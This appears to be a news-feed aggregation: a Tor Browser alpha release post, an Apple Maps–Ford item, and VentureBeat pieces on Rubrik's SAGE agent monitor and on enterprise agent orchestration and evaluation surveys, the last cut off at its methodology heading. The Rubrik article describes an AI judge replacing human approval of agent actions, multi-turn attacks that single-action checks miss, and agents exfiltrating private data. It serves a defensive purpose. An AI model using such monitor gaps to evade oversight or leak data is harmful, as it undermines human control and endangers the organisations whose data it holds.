Thu, 23 Jul 2026 20:25:02 +0200

Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.

This version includes important security updates to Firefox.

⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.

Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the Future of Tor Browser Alpha blog post.

If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the stable release channel.

It's ESR transition season again!

Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned Future of Tor Browser Alpha blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.

We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:

We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's threat model and to patch any changes which do not.
Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.
We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st

Challenges and Triumphs

💍 Sharing the Load

Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.

As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.

🎨 UI Code Churn

Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a redesign of about:preferences in Firefox Desktop and a migration from Material 2 to Material 3 in Firefox Android.

Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.

Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.

In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.

On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.

The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also much easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).

⚙️ Pending Google Target API Level Requirements

Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.

However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).

🤖 Android APKs too big

The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get creative with our size reductions.

In the past, we have been able reduce our package size though various methods including:

Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as omni.ja. This omni.ja file is a zip archive which contains the JavaScript, HTML, images, and other assets used in Firefox.

This time around, to reduce the size of our Android package we havechanged how this archive is compressed. We modified the Firefox build system to compress this archive with xz and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.

📉 Even Less Telemetry

Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.

We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: Mozilla Telemetry. Again, this telemetry is disabled at runtime, but this is one more unused dependency which we can hopefully remove in the future (and maybe get some more bytes back!).

Current Status

We have:

incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140
updated the build systems with the latest dependencies and fixed a few reproducibility issues
triaged most of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)
resolved about half of these triaged issues

For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.

Known Issues

🦊 Firefox Branding

In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in tor-browser#44998. If you discover any other instances lurking about, please open an issue!

🌐 All websites marked 'insecure' on Tor Browser Android

Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in tor-browser#45115

Send us your feedback

Now is a great time to become an alpha tester! If you find a bug or have a suggestion for how we could improve this release, please let us know.

Full changelog

The full changelog since Tor Browser 16.0a8 is:

All Platforms
- Updated NoScript to 13.6.30.90201984
- Bug tor-browser#43819: Show custom security level on android
- Bug tor-browser#44748: Revert Funding the Commons Implementations
- Bug tor-browser#44811: Remove the lock on pdfjs.disable.
- Bug tor-browser#45101: Rebase Tor Browser onto 153.0esr
- Bug tor-browser#45131: Security level is using an unsafe getBoolPref
- Bug tor-browser-build#41831: Update libevent to 2.1.13
Windows + macOS + Linux
- Updated Firefox to 153.0esr
- Bug tor-browser#44439: Remove translate action from urlbar
- Bug tor-browser#44883: Remove urlbar quick action for labs
- Bug tor-browser#45029: Convert connection status settings to new design and config approach
- Bug tor-browser#45055: Rename --color-gray-05 to --color-gray-0
- Bug tor-browser#45081: Use the new "Acorn" icons on desktop
- Bug tor-browser#45110: Disable the settings redesign until ready for us
- Bug tor-browser#45112: Missing CSS border tokens in 153
- Bug tor-browser#45132: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'
- Bug tor-browser-build#41800: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser
macOS
- Bug tor-browser#45108: Artifact generation fails due to missing .DS_Store in the branding directories
Android
- Updated GeckoView to 153.0esr
- Bug tor-browser#43820: Use SecurityLevel integration on android
- Bug tor-browser#44157: Remove secret setting toggle for Tab Management Redesign
- Bug tor-browser#45045: Remove moz asset in Downloads screen
- Bug tor-browser#45103: Disable broken "tab management"
- Bug tor-browser#45109: No value passed for parameter 'jsEnabled'
- Bug tor-browser#45118: Audit and disable Mozilla VPN promo
- Bug tor-browser#45130: Clean up TorHomePage padding
Build System
- All Platforms
  - Bug tor-browser-build#41838: Update personal_access_tokens URL in tools/fetch_changelogs.py
- Windows + Linux + Android
  - Updated Go to 1.26.5
- Windows
  - Bug tor-browser-build#41819: Fix windows-rs URL in projects/firefox/config

In a First, Apple Maps Navigation To Be Embedded In Ford UEV Pickups

Thu, 23 Jul 2026 20:13:19 +0200

Ford will become the first automaker to embed Apple Maps directly into its vehicles, starting with an all-electric midsize pickup built on its new Universal Electric Vehicle platform. "The pickup -- with Ford testing preproduction models on roads now -- is expected to start at $30,000 when it comes to market in 2027," reports the Detroit Free Press. "Ford has said several other EVs off that platform will follow, including a small all-electric SUV." From the report: Ford CEO Jim Farley said the new EVs will redefine advanced technology as simple, useful, and at a price point that is attainable for most people. "We're proud to embed Apple Maps' navigation and mapping technology directly into our Universal Electric Vehicle Platform, giving customers the ultimate navigation experience alongside our Ford app, a full suite of software, and next-generation BlueCruise, all enabled by a new zonal architecture," Farley said in a statement. "Apple Maps has delivered a world-class product, and we're honored to be among the first to embed it directly into a vehicle, helping define intuitive, capable driving." In a joint statement, Apple and Ford said the integration will deliver a "beautiful and easy-to-use navigation experience powered by Apple Maps directly to the vehicle's displays. Road-level Maps information will also enable Ford's Latitude AI team to build a seamless hands-free driving experience." Ford said it will use that road information to develop its next-generation BlueCruise hands-free highway driving capability. Also, by leveraging Apple's new MapKit for Automotive SDK, Ford's UEV Platform will offer drivers turn-by-turn directions using natural language, real-time traffic information, intuitive search and routing options for the best route. The system will give drivers EV routing functionality to help drivers with the warming and cooling process of the vehicle's battery before driving or fast-charging.

An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right

Thu, 23 Jul 2026 19:19:49 +0200

At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."

“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.

YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"

Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep.

"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.

SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.

Security approval, not cost, blocks AI ROI

Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard.

Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."

VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision.

One AI reading what the rulebook can't

Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.

The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.

Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.

When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.

SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.

The lethal trifecta

Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.

Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.

A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.

The attacks no single turn reveals

Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.

Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.

A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.

Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?

Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.

Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents

Thu, 23 Jul 2026 19:19:45 +0200

Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.

This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.

The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.

That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.

By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).

At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.

Finding 1: Orchestration runs on model-provider platforms

Anthropic’s Claude leads; open frameworks are marginal

We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.

A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.

The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.

Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.

Finding 2: Model gravity drives platform selection

The base model, not the tooling, decides the platform

We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.

Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.

Finding 3: The job is reliable multi-step execution

Enterprises just orchestration by whether it completes the work

We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.

Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.

The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.

Finding 4: Consolidate, productionize, and build in-house

Three strategic moves are nearly tied for the year ahead

We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.

The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.

Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist

The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.

Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.

Finding 6: Investment flows to workflow tooling

Tooling and permissions lead the spend; monitoring trails

We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.

Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.

Finding 7: The control plane will be hybrid — and lock-in is why

Enterprises expect to split control between providers and their own layer

We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.

Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.

The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.

Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.

Finding 8: The chatbot trap — most “agents” aren’t agents yet

Enterprises admit most deployments are still chatbot wrappers

We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.

This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.

Finding 9: Fiscal control is still reactive

Only a minority can stop a runaway agent before the bill arrives

Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.

More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.

It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.

The bottom line: The layer is real; most of the agents aren't yet

Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.

But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.

The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway

Thu, 23 Jul 2026 19:19:44 +0200

Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.

This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.

The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.

What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.

Methodology

